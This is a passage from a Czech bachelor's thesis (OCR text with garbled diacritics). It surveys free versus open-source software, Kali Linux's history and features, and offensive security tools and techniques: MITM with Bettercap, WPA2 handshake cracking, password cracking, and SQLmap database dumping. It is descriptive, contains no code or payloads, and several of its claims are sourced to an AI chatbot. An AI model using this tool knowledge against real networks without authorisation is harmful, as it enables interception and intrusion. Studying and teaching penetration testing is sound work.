a pouze ve filozofii, ne v technickych detailech. Pro Uplnost je vSak nutné rozdily popsat. Kdyz
Richard Stallman zakladal v roce 1983 projekt GNU, ve kterém bylo cilem vytvofit svobodny
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operacni systém podobny UNIXU, ale bez proprietarniho kédu a poté v roce 1985 zalozil Free
Software Foundation (FSF), k podpofe vyvoji svobodného softwaru tak rozsifil
i jeho filozofii a prfesné v tomto momentu definoval ctyfi filozoficka pravidla svobodného
softwaru (Microsoft Copilot: vas Al pomocnik, 2025). Pravidla jsou:

e Svoboda spoustét program k jakémukoli Gcelu,

e Svoboda studovat, jak program funguje, a upravovat ho,
e Svoboda redistribuovat kopie,

e Svoboda vylepSovat program a sdilet Upravy.

Ctyti zékladni svobody definice svobodného softwaru jsou zakladni uZivatelska prava. UZivatel
musi mit kontrolu nad softwarem. Zatimco Open Source Initiative (OSI) stanovila
v roce 1998 tzv. Open Source Definition, kterd ma 10 bodl (Microsoft Copilot: vas Al
pomocnik, 2025). Body jsou:

e Volna redistribuce — software lze volné prodavat nebo darovat,

e Zdrojovy kdd — musi byt dostupny ke studiu a Upravam,

e (Odvozena dila — licence musi umozZnovat zmény a nové projekty,

e Integrita zdrojového kédu — licence mlze vyzadovat patch formu, ale nesmi branit
Upravam,

e 74dna diskriminace osob &i skupin — licence nesmi omezovat podle identity,

e 74dna diskriminace oblasti pouziti — nesmi zakazovat konkrétni obory (komerce,
vyzkum),

e Distribuce licence — prdva plati pro vSechny uzivatele bez dalSich smluv,

e Licence nesmi byt vdzdna na produkt — plati i mimo konkrétni produkt,

e Licence nesmi omezovat jiny software — nesmi nutit ostatni software byt open-source,

e Technologickd neutralita — licence nesmi byt vazana na konkrétni technologii
¢i rozhrani.

U deseti bodl definice OSI se jednd hlavné o praktické wvyuZiti vyvoje software
a komunitni spolupréci tak, aby software mohl byt oteviené vyvijen, sdilen a pouzivan. Obé
definice vyZaduji otevieny zdrojovy kod, moznost Uprav a redistribuce. Svobodny software
formuluje prdva uzivatele jako politické hnuti, zatimco open-source technicky vyvoj jako
vyvojovy model. Svobodny software definovany Free Software Foundation (FSF) je smér
filozoficky, open-source definovany Open Source Initiation (OSl) je smér prakticky. Proto pojmy
open-source software a svobodny software nejsou totoZzné. Dokonce se vedou i spory mezi
fanousky obou taborl. Slova zakladatele GNU projektu Richarda Stallmana k tématu jsou
,Svobodny software je politické hnuti, open-source je vyvojarsky model”.

1.3 Distribuce Kali Linux

Linuxova distribuce Kali Linux je specialni pokrocila distribuce zabyvajici se nejen penetrac¢nim
testovanim neboli etickym hackovanim ale i digitdlni forenzikou, vyzkumem bezpecnosti
¢i reverznim inZenyrstvim. Kali Linux je open-source linuxova distribuce postavena na rodové
linii linuxové distribuce Debian a vyviji ho a financuje spole¢nost Offensive Security. Vétsina
linuxovych distribuci ma svou rodovou linii, linie vSak neni pravidlem. Distribuce obsahuje vice
jak 600 predinstalovanych nastroja souvisejici s kybernetickou bezpecnosti (napfiklad Nmap,
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Wireshark, Metasploit, Maltego a Burp Suite), které jsou ihned pfipraveny k pouziti
a je zdarma, stejné jako vétSina open-source linuxovych distribuci. Aktualizace Kali Linux jsou
zaloZzeny na systému Rolling release, coz znamena, Ze kazdych c¢tvrt roku vychazi pribéiné
aktualizace bez nutnosti reinstalovat cely operacni systém. Pro aktualizaci operacniho systému
Kali Linux staci zadat par prikaz( do terminalu. Je spustitelny na mnoha rlznych platforem
od béznych pocitacd pres servery, virtualni stroje, cloudy ¢i mobilni zafizeni. Je distribuovan jak
v 32bitovych, tak 64bitovych ISO obrazech pro systémy zalozené na Intelu. Je také dostupny
jako predpfipravené virtualni stroje pro VirtualBox a VMware. Obsahuje také rizna desktopova
prostfedi napriklad Xfce, GNOME nebo KDE. Spousta ISO obrazl pro rlzné platformy jsou
volné ke staZeni na strankach Kali, stejné tak jsou dostupné ke stazeni i rGzné varianty
instalator(. Ke stazeni instaldtoru vyvojafi nabizi klasickou aktualizovanou stabilni ctvrtletni
offline plnou instalaci, mési¢ni netestovanou nestabilni verzi s nejnovéjsimi aktualizacemi, net
instalator, ktery stdahne vSe potfebné béhem instalace, ¢i je moZné vSechny ISO obrazy
stahnout v podobé torrent(l (k tomu je vSak zapotrebi torrent klient, naptiklad BitTorrent, Vuze
nebo jiné). Dalsi variantou Kali Linux je Kali Purple, coZ je specialni varianta Kali Linuxu
zamérena na defenzivni kyberbezpecnost pro blue-team ¢ili na ochranu, monitoring a detekci
utok(. Zatimco klasické Kali Linux je urcené pro ofenzivni ucely red-teamu. Ke viem staZzenym
souborim je k dispozici kontrolni soucet dat. Dalsi alternativni linuxové distribuce vénované
penetraénimu testovani jsou Parrot OS, Black Arch (Arch Linux), BackBox ¢i Wifislax
(Slackware). Nazev Kali je odvozen od hinduistické bohyné casu a zmény, coZz symbolizuje
plynulost nastrojl zahrnutych v distribuci. O instalaci systému, jeho aktualizaci a prvnim
spusténim se bude bakalarskd prace zabyvat v praktické c¢asti (Microsoft Copilot: vas
Al pomocnik, 2025).
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Obr. 3: MoZnosti stahnuti obrazu Kali Linux dle instalatoru
Zdroj: Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution (2025)
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Obr. 4: Moznosti stahnuti obrazu Kali Linux dle platformy
Zdroj: Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution (2025)

1.3.1 Historie Kali Linux

Kali Linux je zaloZeny na znalostech a zkuSenostech z nékolika predchozich projektd, které
vytvareli rlzni vyvojafi v malych tymech. Proto se distribuce Kali Linux formovala dlouhé roky.
Za prvni projekt, ze kterého vysSel Kali Linux, se oznacuje Whoppix, coz je také zkratka pro
WhiteHat Knoppix. Byl zalozen na platformé linuxové distribuce Knoppix, coz |ze odvodit podle
jména, a byl také prvni distribuci zamérenou na etické hackovani. Whoppix vysel
z verze 2.0 na verzi 2.7. Z Whoppixu se pozdéji vytvofil dalsi projekt s nazvem WHAX, coZ
je zkratka pro WhiteHat Slax. Zména nazvu na WHAX byla zplsobena zménou zadkladniho
operacniho systému z Knoppixu na Slax. WHAX vysel v zacinajici verzi v3 jako navazujici verze
na predchozi verze Whoppix 2.7. Pfiblizné ve stejnou dobu byl vyvijen podobny operacni
systém Auditor Security Collection, zkracovany pouze na Auditor, ktery také vzesel z Knoppixu.
Pozdéji doslo je spojeni zminénych linuxovych distribuci, Auditor, Knoppix a WHAX, do jednoho
celku, ¢imZz wvznikla linuxova distribuce BackTrack. BackTrack byl zaloZzen na platformé
Slackware od verze v1 do verze v3 ale pozdéji presel na platformu Ubuntu s verzemi v4 az v5.

v

Kali Linux vyuzil vSech zkusenosti ziskanych veskerymi predchozimi projekty a byl oficidlné

’

vydan v roce 2013 jako nahrada za distribuci BackTrack. Zaroven zacal vyuzivat stabilni vydani
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Debianu jako zakladni platformy (Kali Linux | Penetration Testing and Ethical Hacking Linux
Distribution, 2025).

Tab. 2: Strucny prehled vyvoje Kali Linux

Datum Projekt Zakladni operacni systém

30. 8. 2004 Whoppix v2 Knoppix.

17.7. 2005 WHAX v3 Slax.

26. 5. 2006 BackTrack v1 Slackware Live CD 10.2.0.

6. 3. 2007 BackTrack v2 Slackware Live CD 11.0.0.

19. 6. 2008 BackTrack v3 Slackware Live CD 12.0.0.

9.1.2010 BackTrack v4 Ubuntu 8.10 (Intrepid Ibex).
(Pwnsauce)

10. 5. 2011 BackTrac‘k V> Ubuntu 10.04 (Lucid Lynx).
(Revolution)

13.3.2013 Kali Linux v1 (Moto) Debian 7 (Wheezy).

11. 8. 2015 Kali Linux v2 (Sana) Debian 8 (Jessie).

16. 1. 2016 Kali Linux Rolling Debian Testing.

Zdroj: Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution (2025)

1.3.2 Obecné viastnosti

Zde je uveden souhrn nékolika vSeobecnych vlastnosti Kali Linux.

Je zaméren na bezpecnost a penetracni testovani, primarné pro etické hackovani,
analyzu zranitelnosti a digitalni forenziku,

Obsahuje stovky predinstalovanych nastrojli pro testovani siti, web(, hesel, Wi-Fi,
malware analyzu a dalsi,

Je postaveny na platformé operaéniho systému distribuce Debian a proto pouZiva
balickovaci systém APT,

Je Rolling release model, aktualizace probihaji ¢tvrtletné, nastroje i systém jsou tak
stale aktudlni,

Je optimalizovany pro profesiondly, vychozi nastaveni systému je orientované pro
bezpecénostni experty a pokrocilé uzivatele,

Podporuje nejriznéjsi platformy napfiklad x86, ARM, virtudlni stroje, mobilni zafizeni
(Kali NetHunter) i cloud,

Nabizi Live USB reZzim a mozZnost béZet bez instalace (mozZnost spustit systém z USB bez
zasahu do disku), coz je idealni pro testovani nebo forenziku,

Obsahuje rezimy jako Kali Undercover (ptikaz kali-undercover), integraci s Tor,
Sifrovani persistentniho uloZisté a jiné,

Udrzuje vlastni specialni repozitare, obsahujici stovky bezpecnostnich nastroja a jejich
aktualizace. Diky tomu jsou ndstroje dostupné rychleji nez v béznych distribucich.
Soucasti systému jsou i vlastni nastroje a skripty vyvinuté pfimo od vyvojard Kali Linux
Offensive Security, napftiklad kali-tweaks, kali-undercover, kali-menu,

Kali nabizi metabalicky (napf. kali-linux-top10, kali-linux-large), které umoznuji snadno
instalovat celé sady nastrojl dle zaméreni uZivatele,
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e Kali Linux ma detailni oficialni dokumentaci, navody, pfiklady konfiguraci a aktivni
komunitu, coZ usnadnuje préci zacate¢nikiim i profesionallim,

e Kali podporuje automatizaci pomoci Ansible skriptovani a pfedpfipravené konfigurace,
coz zjednodusSuje nasazeni ve vétSich prostredich.

1.3.3 Pouziti Kali Linux

Rozsah pouZiti distribuce Kali Linux je skutecné Siroky, krom klasickych vybornych vlastnosti
operacniho systému Linux, se mUlZe chlubit zejména svym zaméfenim, ¢imz
si ziskal mnoho fanousk(l. Obsahuje spoustu nastroju, které umoini uZivateli testovat
zabezpeceni siti a aplikaci, etické hackovdni, analyzu malwaru, digitalni forenziku ¢i vyzkum
zranitelnosti bez nutnosti jejich instalace. Spousta organizaci jej pouzivd pro komercni
testovani zranitelnosti systémuU svych zakaznikl. Kali Linux obsahuje mnoho nastroju, které
mohou byt zneuzity pro nelegdlni Cinnosti. Kali Linux je sdm o sobé legdlni nastroj a jeho
vyvojafi pfi tom nenesou Zadnou pravni odpovédnost za jeho zneuZiti. Jasné uvadéji, Zze Kali
Linux je uréeny pouze pro etické hackovdni, bezpecnostni testovani, vzdélavani a forenzni
analyzu. Kali Linux je zkratka open-source software a vyvojafi nenesou odpovédnost za zneuZiti
jeho nastroja. V licencich open-source je uvedeno, Ze software je poskytovan tak jak je, bez
zaruky, bez odpovédnosti za Skody a uZivatel je tak plné odpovédny za své jednani.
Coz znamend, Ze pokud nékdo zneuZije Kali Linux k utoku, za utok zodpovidd pouze
on a ne vyvojarfi. Vyvojafi dokonce upozoriuji na fakt, Ze Kali Linux neni uréeny k pachani
trestné Cinnosti, nechrani utoc¢nika pred odhalenim, loguje a komunikuje jako bézny Linux. Kdo
by jej chtél zneuZit, tak déla na vlastni riziko (Microsoft Copilot: vas Al pomocnik, 2025).

1.4 Analyza nastroja Kali Linux

V kapitole analyza nastroj Kali Linux se bude bakalarska prace zabyvat analyzou vybranych
nastroj, které se poté vyuziji v praktické ¢asti bakalarské prace. VSechny analyzované nastroje
jsou soucasti distribuce Kali Linux a neni tak nutna jejich dodatecna instalace. Bakalarska prace
se bude zabyvat testovdnim pouze vybranych ndstroji. Kompletni seznam nastrojl, jejich
vlastnosti a oblasti pouZiti je mozny ke shlédnuti na webovych strankach distribuce Kali Linux
(Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution, 2025). Prehled
znamych linuxovych prikazd, které je mozné uplatnit pfi penetracnim testovani, bude popsan
na konci kapitoly.

1.4.1 Prehled a vlastnosti vybranych nastrojl

Pro lepsi pfehlednost nastroja Ize vétsinu nastrojl zaradit do kategorii dle vyuziti.
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Tab. 3: Pfehled kategorii vybranych nastrojti Kali Linux a jejich popis

Kategorie Nadstroje Charakteristika
Sbi Nmap, Zenmap, Ndstroje urcené pro sbér informaci a
ér
) 3 Stealth scan, Dmitry, jejich nasledné formatovani do dat,
informaci . ) , ..
Maltego, Unicorscan. které lze dale poutzit.
Bed, Ohrwurm,
; Powerfuzzer, Sfuzz, Nastroje urcené ke kontrole
Analyza

zranitelnosti

Siparmyknife, Nikto,
OpenVAS, Fierce,
Netcat.

zranitelnosti v systému. Informuji o
zranitelnostech.

Burp suite, Httrack,

Analyza SQLmap, Vega, Nastroje urcené ke kontrole
webovych Webscarab, Wpsscan, | zranitelnosti a chyb webovych
aplikaci Zap, Skipfish, Owasp- stranek ¢i aplikaci.
zap, Wapiti, Xsspy.
Analy Bbgsl, SQLinjection, Nastroje slouzici k analyze databazi z
nalyza
dat Z i Oscanner, SQLninja, hlediska utok( a bezpecnostnich
atabazi
Tmscmd10g. problému.
Cewl, Crunch, . . L o
. Nastroje urcené ke zpracovani slov
Utoky na Hashcat, Johnny the . L. . ..
. nebo hesel. Nékteré nastroje slouzi
hesla Ripper, Medusa, . L
ke sbéru slov, jiné k utoku.
Ncrack.
. . Nastroje slouZici k prolomeni
L Aircrack-ng, Fern-wifi- L. . .
Bezdratové ) zabezpeceni bezdratovych siti.
, cracker, Kismet, Ghost By . ..
utoky . o Napfriklad hesel, routerd, AP, MITM (i
Phisher, Wifite. . .
sbéru informaci.
Ndstroje urcené pro manipulaci se
Reverzni Apktools, Ollydbg, zdrojovym kédem aplikace Ci
inZenyrstvi Flasm, Nasm shell. software, Cili k pochopeni logiky

zdrojového kédu.

Metasploit,
Nastroje pro | Searchsploit, Beef xss | Nastroje slouzZici k vyuZiti zranitelnost
exploitaci framework, systému.

Termineter, SET.

Wireshark, Bettercap, , . .

. Ndstroje urcené pro odposlech
Sniffing a Ettercap, Hamster, L o
. i sitového provozu (sniffing) a
Spoofing Driftnet, Responder, L. ) i
podvrzZeni identity (spoofing).

Macchanger.

MSF, Veil — pillage Post Exploitation. Nastroje zajistujici
Post framework, opétovny pfistup v jiz hacknutych
exploitace Powersploit, systémech nebo k udrzeni pfistupu v

Powershell empire systému.
Forenzni Autopsy, Binwalk, Nastroje vyuzivané k obnové
analyza Galleta, Hashdeep, informaci ze systému nebo Ulozného

Volafox, Volatility.

zafizeni. Pouzivaji se pfi vySetrovani
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kybernetického zlocinu.
) . Dradis, Faraday IDE, Ndstroje urcené k vytvareni analyzy,
Nastroje pro . . i
t Pipal, Magictree, reportu, po provedeném
repor
P Metagoofil. penetracnim testu.

. SET, Backdoor-f, U3- , . o .. ,
Socialni ) Nastroje slouZici pro sbér informaci
L. 3 pwn, Ghost Phisher, o ] )
inZenyrstvi vyuzivajici lidského pochybeni.

Msf payload creator.

Zdroj: viastni zpracovdni dle Kali Linux Tools (2025)

1.4.2 Wireshark

Wireshark je vykonny analyzator sitového provozu a sitovych protokol(. Zobrazuje Casti
sitového provozu jako jsou informace o logickych a fyzickych adresach. Nékdy je také nazyvany
jako analyzator paketl. Zachycuje pakety v redlném case a zobrazuje dokonce i jejich obsah
pokud neni Sifrovany (18 Best Kali Linux Tools and How to Use Them, 2025). Dokaze zobrazit
celou strukturu vybraného paketu od fyzické vrstvy az po aplikaéni vrstvu. Je moiné jej rovnéz
vyuzit pro fesSeni sitovych problém( a odhalovéani podezielych aktivit. Provoz sité je mozné
filtrovat podle protokolu, IP adresy, portu a jinych parametrd. Filtrovani umoZnuje zuzit
vysledky vyhledavani (25 Best Kali Linux Tools, 2023).

e Kategorie - Sniffing a Spoofing,

e Alternativy - Kismet, Tcpdump, Termshark, Bettercap, Intercepter-NG, Proxyman,

e Moznosti - Dokaze monitorovat sitovy provoz v redlném case, uklddd zachycené
pakety (soubory PCAP) pro pozdéjsi analyzu, prevadi sitovy provoz do obsahu
Citelného pro clovéka, kontroluje stovky rlznych protokoll, disponuje grafickym
rozhranim.

1.4.3 Bettercap

Bettercap je sitovy bezpecnostni framework navrien pro prlzkum a Gtoky v bezdratovych
i kabelovych sitich. Zachycuje pakety a provadi utoky typu MITM (man-in-the-middle). MITM
znamena Utok na komunikaci mezi dvéma stranami, kde je uto¢nik schopen komunikaci obou
komunikujicich sledovat, ménit nebo pfesmérovat. Napriklad kdyz si dva lidé posilaji zpravy
a treti ¢lovék je schopen jejich komunikaci Cist i upravovat. Bettercap obsahuje jak textové
uzivatelské rozhrani (CLI) tak i webové rozhrani (18 Best Kali Linux Tools and How to Use Them,
2025). Rovnéz ma vestavény skriptovaci zaklad. Je mladsim a modernéjsim ndstrojem nastroje
Ettercap a byl navrzen s cilem nahradit staré MITM nastroje. Vyvoj Ettercap jiz delSi dobou
stagnuje a nevyviji se tak rychle, stale je ale klasikou v oblasti MITM atokd (25 Best Kali Linux
Tools, 2023).

e Kategorie - Sniffing a Spoofing,

e Alternativy - Dsniff, Ettercap, Responder, Scapy, Evilginx2, MITMf, Yersinia,

e Moznosti - Funguje na wi-fi sitich, zafizeni Bluetooth a bezdratovych zafizenich
s rozhranim HID, podporuje utoky MITM s faleSnym vyuZitim protokolll ARP, DNS
a DHCP, jeho sitovy sniffer dokdze shromazdovat pfihlasovaci Udaje, mlzZe pasivné
skenovat IP sitové hostitele, obsahuje rychly skener portd.
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1.44 Nmap

Nmap (Network Mapper) neboli mapovac sité je zakladni hackersky nastroj s otevienym
zdrojovym kdédem urceny k prohledavani siti. Odhaluje jakd zafizeni a jaké sluzby v siti bézi.
Funguje tak, Ze odesila nezpracované IP pakety a ty poté identifikuji hostitele, sluzby, operacni
systémy i konfigurace firewallu. Dokdaze tak zjistit ohromné mnozstvi informaci véetné stavu
portl. DokazZe i provadét test hesel hrubou silou a detekovat zranitelnosti systému (25 Best
Kali Linux Tools, 2023).

e Kategorie - Sbér informaci,

e Alternativy - Fing, Zenmap, Zmap, OpenVAS, Masscan, Unicornscan, Netdiscover,

e Moznosti - VypiSe oteviené, uzaviené nebo filtrované porty, identifikuje sluzby vcéetné
jejich typl a verzi dle otevieného portu, dokaze vyuzit funkce skriptl ke kontrole
konkrétnich zranitelnosti, poskytuje vizudlni grafické mapovani sité prostrednictvim
rozhrani Zenmap, zakladni pfikazy jsou Ping Sweep (-sn), Stealth sken (-sS), verze
sluzeb (-sV) a jiné.

1.4.5 Aircrack-ng

Aircrack-ng je kompletni sada ndstroj pro posouzeni zabezpeceni bezdratovych siti. Sklada se
z nékolika program(. Obsahuje nastroj Airdecap-ng (desifrovani souborll s ochranou WEP
a WPA), nastroj Airodump-ng (nastroj pro zachyceni a shromazdovani paketd, identifikaci AP
a pripojenych klientl), ndstroj Airtun-ng (tvorba virtudlnich tunelovych rozhrani), nastroj
Besside-ng (prolamovani WEP a WPA hesel), nastroj Airmon-ng (pfepnuti sitové karty do
monitorovaciho reZzimu pro zachyceni veskerého provozu), nastroj Aireplay-ng (vkladani ramct
pro generovani provozu a pro urychleni prolomeni WEP) a nastroj Aircrack-ng (nastroj pro
prolomeni klic WEP a WPA/WPA2-PSK s analyzou zachycenych paket() (18 Best Kali Linux
Tools and How to Use Them, 2025). BéZznym zpUsobem testovani sité chranéné protokolem
WPA2 je zachyceni handshake (proces ctyfcestného ovérovani pfi pfipojeni klienta) a nasledné
spusténi slovnikového Utoku proti nému (25 Best Kali Linux Tools, 2023).

e Kategorie - Bezdratové utoky,

e Alternativy - Hashcat, Fern wi-fi Cracker, Wifite, Reaver, Bully, Kismet, Ghost Phisher,

o Moznosti - Zaméreni na bezdratové lokalni sité 802.11, poskytuje nastroje prikazového
fadku pro skriptovani, provadi slovnikové datoky pomoci slovniku WEP
a také fragmentacni utoky.

1.4.6 John the Ripper

John the Ripper je rychly a viestranny offline nastroj pro obnoveni a prolomeni hesel. Dokaze
prolomit heslo pomoci nékolika metod na zakladé detekovani typu hashe souboru. Umi pouzit
rizné metody k prolomeni hesla. Pfi metodé slovnikovych Gtokd projde seznam slov
ze slovniku. Pfi metodé Brute-force Utoku projde vSechny mozné kombinace znakl. Obsahuje
vsak i dalsi metody utokd na hesla (25 Best Kali Linux Tools, 2023). Pouziva rizné hashe, Sifry
a Sifrovaci formdty. Za pomoci ndstroje nazyvaného pouze John dokdze John the Ripper
nabidnout i grafické uZivatelské rozhrani. Nejcastéji je ndstroj John the Ripper pouzit pfi
testovani sily hesla.
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e Kategorie - Utoky na hesla,

e Alternativy - Hydra, Hashcat, Patator, Medusa, Rainbow crack, Fail2ban, Ncrack,

e MozZnosti - Automaticky identifikuje riizné formaty hash( hesel, za pomoci Brute-force
utoku vyzkousi vSechny mozné kombinace znakl (Incremental Mode), dokaZze pouZzit
slovnikovy utok proti hashim (Wordlist Mode), odhadne hesla pouzitim login/GECOS
informace (Single Crack Mode), dokdze Sifrovat soukromé klice.

1.4.7 Burp Suite

Burp Suite je jeden z nejznaméjSich nastroju uréeny ke skenovani zranitelnosti webovych
aplikaci. Zachycuje proxy komunikaci mezi prohlize¢em a webovou aplikaci. CoZz umoznuje
kontrolovat, upravovat i prehravat veskeré pozadavky a odpovédi HTTP/HTTPS. Rovnéz lze
také odesilat upravené HTTP poZadavky k odhaleni zranitelnosti. Diky nastroji Burp Suite Ize
testovat znamé zranitelnosti jako SQL injection, Cross-Site Scripting (XSS), falesné HTTP
pozadavky, prerusené ovérovani a jiné (18 Best Kali Linux Tools and How to Use Them, 2025).
Parametry nastroje Ize ru¢né upravit. Burp Suite ma grafické uZivatelské rozhrani.

e Kategorie - Analyza webovych aplikaci,

e Alternativy - Nikto, OWASP ZAP, Nessus, Acunetix, Invicti, Fiddler,

e Moznosti - Komunitni edice je zdarma, zachycuje a upravuje webovy provoz,
podporuje statické i dynamické vyhledavani, lze ru¢né upravit a znovu odeslat
pozadavky pomoci opakovade, ve verzi Pro lze nastavit automatické skenovani
zranitelnosti a prochdazeni aplikace.

1.4.8 OWASP ZAP

OWASP ZAP je open-source ndstroj urceny pro skenovani webovych aplikaci a nejlepsi nastroj
na odhaleni Cross-Site Scripting utokll. Funguje jako proxy mezi klientem a serverem
a umoznuje zachytdvat, upravovat i znovu odesilat poZzadavky HTTPS. Umoziuje pasivni
a aktivni skenovani. Pasivni automaticky vyhodnocuje zachyceny provoz. Aktivni skenovani
generuje testovaci payloady a cilené vyhledava zranitelnosti typu XSS, SQLi ¢i chybnou
konfiguraci. V. OWASP ZAP jsou i moduly pro fuzzing parametr(l, analyzu struktury webu,
automatizované utoky a nastroje pro ruéni testovani. Kombinace automatickych i manudlnich
technik déla z OWASP ZAP vhodny ndstroj pro detekci XSS zranitelnosti, véetné DOM-based
variant. OWASP ZAP obsahuje grafické rozhrani. (18 Best Kali Linux Tools and How to Use
Them, 2025).

e Kategorie - Analyza webovych aplikaci,

e Alternativy - Burp Suite, Wapiti, Nikto, Skipfish, WFuzz, Arachni, WhatWeb, Gobuster,

e Moznosti - Kontrola a Uprava provozu jako zachyceny proxy, automatické vyhledavani
zranitelnosti pomoci aktivnich a pasivnich skenerl, automatické prochazeni webu
k nalezeni vSech jeho stranek, posila necekana data za ucelem nalezeni moznych chyb
pomoci Fuzzeru.
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1.4.9 SQLMap

SQLmap je open-source nastroj pro vyhleddvani zranitelnosti typu SQL Injection. SQLmap

zranitelnost plné automatizované vyhledd. Pfi podezfeni zranitelnosti webové aplikace

zpUsobem UGtoku SQL Injection stadi nasmérovat SQLmap na adresu webového odkazu.

Vyhleda injekce zalozené na booleovskych ¢asovych, sjednocovacich, chybovych a vrstvenych

dotazech. Funguje s MS SQL serverem, MySQL, PostgresSQL, Oracle i s dalSimi databazovymi
servery (25 Best Kali Linux Tools, 2023).

Kategorie - Analyza webovych aplikaci,

Alternativy - Commix, TheDoc, Nycto-dork, jSQL injection, BeEf, DorkPlus, Havij,

Moznosti - Stahne kompletni databazi, pfipadné konkrétni tabulku ci sloupec,

poskytuje shell operacniho systému na urcitych systémech, zahrnuje moznost

prolomeni hesla pomoci slovnikovych uUtok(, podporuje eskalaci uZivatelskych

opravnéni.

1.4.10 Dalsi nastroje

V Linuxovém svéte existuje bezpoclet dalSich nastrojli, prikaz(i a doplnkl. VSechny dalsi

pouzitelné nastroje jsou v seznamu nastroju na strankach Kali Linux. Mezi vybrané uzitecné

linuxové prikazy obsazené v kazdé linuxové distribuci bez nutnosti instalace se radi (Microsoft

Copilot: vas Al pomocnik, 2025):

traceroute / tracepath - cesta paket( skrz sit,

ping - ovéfeni dostupnosti hostu, latence,

dig - detailni DNS dotazy,

nslookup - zakladni DNS dotazy,

host — rychlé DNS dotazy,

ip neigh — ARP cache,

netstat — aktivni spojeni, porty,

Isof -i — procesy oteviené na portech,

arp — ARP tabulka,

hostnamectl — informace o systému,

iptables / nft — zobrazeni firewallovych pravidel, analyza filtrovani provozu,
ss — moderni ndhrada netstat, zobrazeni otevienych portl a spojeni,
arping — ovéreni dostupnosti hostu na Urovni ARP v lokalni siti,
mtr — kombinace ping a traceroute, Ziva diagnostika trasy,
tcpdump — zachytavani a analyza sitovych paketd,

tshark — CLI verze Wiresharku pro analyzu paketd,

iftop — Zivy pfehled sitového provozu,

nethogs — zobrazeni sitového provozu podle proces,
iptraf-ng — interaktivni monitorovani sitové aktivity,

curl —testovani HTTP(S) poZzadavk( a API,

wget — ovéreni dostupnosti a stahovani soubord,

telnet — jednoduché testovani dostupnosti portd,

nc (netcat) — diagnostika spojeni a testovani portd.
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1.5 Analyza technik penetracniho testovani

V kapitole analyza technik penetracniho testovani se bude bakaldrska prace zabyvat analyzou

vybranych technik, které se poté vyuziji v praktické c¢asti bakalarské prace. Vsechny

analyzované techniky jsou zde uvedeny vzhledem k analyzovanym nastrojim distribuce Kali

Linux (Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution, 2025). Bakalarska

prace se bude zabyvat testovanim pouze vybranych technik. Kybernetickych uto¢nych technik

je celd fada a v mnoha ptipadech k tomu ani nejsou zapotiebi linuxové nastroje. Prehled

znamych kybernetickych Utocnych technik bude popsan na konci kapitoly.

1.5.1 Ptehled a vlastnosti vybranych technik

Pro lepsi pfehlednost penetracnich technik Ize vétsinu technik zaradit do kategorii dle vyuziti.

Tab. 4: Prehled kategorii vybranych technik a jejich popis

Kategorie Techniky Charakteristika
Sitové atoky | DoS/DDoS Zahlceni sitového provozu.
. i Analyza paketd, v . .
Diagnostika o Zjistovani stavu sité, problémua a
. sledovani sitového . o
sité komunikace mezi zafizenimi.
provozu
) ARP spoofing, DNS Utoky, kdy se Gto¢nik stavi mezi
MITM dGtoky _ o
spoofing komunikujici strany.
Skenovani . . v . o <
" Port scanning, service | Zjistovani otevienych portd, sluzeb a
ortli a
P . discovery verzi softwaru.
sluzeb
Utoky na Wi-Fi . . o
Bezdratové y o ,I b Testovani zabezpecleni bezdratovych
itok zachytavani sitf
uto .
v handshake
Utoky na Brute-force, dictionary | Prolamovani hesel z hash( nebo
autentizaci attack Wi-Fi handshake.
XSS, SQL Injection,
Utoky na CSRF, DOM-based XSS, . . . .
A Testovani zabezpeceni webu, hledani
webové UNION-based, ) i
. ) zranitelnosti.
aplikace error-based, blind
SQLi
Skenovani Enumerace, testovani | Zjistovani struktury webu a
web API, crawling potencialnich slabin.
Malware Ransomware, trojské Skodlivy software zaméreny na data
utoky koné nebo systém.
Socialni
e L. Phishing, vishing Manipulace uZivatele k ziskani udaju.
inZenyrstvi

Zdroj: vlastni zpracovadni dle Microsoft Copilot: vas Al pomocnik (2025)
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1.5.2 Monitoring sité

Monitoring neboli analyza sitového provozu je technika umoznujici zachytavat datové pakety
pfimo na sitovém rozhrani a zkoumat jejich strukturu na urovni jednotlivych protokold.
Zachycené pakety lze dekddovat podle vrstev modelu TCP/IP, je mozZné tak vidét fyzické ramce,
IP hlavicky, TCP/UDP segmenty i samotna aplika¢ni data. Analyza také odhaluje, jak probiha
navazovani spojeni (handshake), jaké porty a sluzby komunikuji, jaké protokoly jsou pouzivany
a zda nedochazi k opakovanému odesilani paketd, jejich ztrdtdm nebo k jinym chybam
v komunikaci. Diky tomu lze vypozorovat $patné nastaveni konfigurace, latenci, zahlceni sité
nebo podezielé chovani, jako je napfiklad skenovani portll. Monitoring paketl tak poskytuje
detailni prfehled redlného provozu v siti a dokaze presné diagnostikovat problémy i odhalovat
bezpecnostni incidenty (Microsoft Copilot: vas Al pomocnik, 2025).

e Kategorie - Diagnostika sité,

e Moznosti - Ziskani nesifrovanych prihlasovaci Udaj, session cookies,

e Doporuéeni - Utoénik nezjisti obsah paketl diky $ifrované komunikaci HTTPS &i TLS, pfi
pouZziti VPN se skryje skutecny provoz i cilové adresy, staci pouzivat firewall a IDS/IPS
k blokaci skenovani ¢i omezit oteviené porty a sluzby.

1.5.3 MITM atoky

Man-in-the-midle (MITM) Utok je Siroce zndm jako Utok na odposlech. Pfi utoku typu MITM
se Uto¢nik zapoji do komunikace obou stran. Utoénik je tak schopen dostat se do konverzace
mezi uZivatelem sité a webovou aplikaci (hachazi se ve stfedu komunikace, dle nazvu utoku)
a dochazi k naruseni samotného Sifrovani (Nejcastéjsi typy kybernetickych utokl, 2023).
Dostane se tak mezi odesilatele a adresata zprdv a ani jedna strana nic nepozna. Uto¢nik je tak
schopen nejen Cist odeslanou komunikaci ale rovnéz s ni i manipulovat, upravit ji, narusit jeji
prenos, filtrovat ¢i ji jednodusSe ukrast (napfiklad mlze vynést z komunikace dulvérné
informace ¢i je stahnout). Pfi hijackingu uUtocnik ziska unikatni ID uZivatele a pfi komunikaci
s webovymi strankami se vydava za ukradenou identitu uZivatele, mlzZe se tak pfihlasit
i do Uctl obéti (10 nejéastéjSich typld kybernetickych Gtokd, 2022). Utocnici se také mohou
vloZit mezi zafizeni uZivatele a sit na nezabezpecené vefejné siti Wi-Fi. Utoénik je rovné?
schopen do zafizeni uZivatele nainstalovat malware (10 typU kybernetickych Gtokd, o kterych
byste méli védét v roce 2022 a rady, jak jim zabranit, 2022).

e Kategorie - MITM utoky,

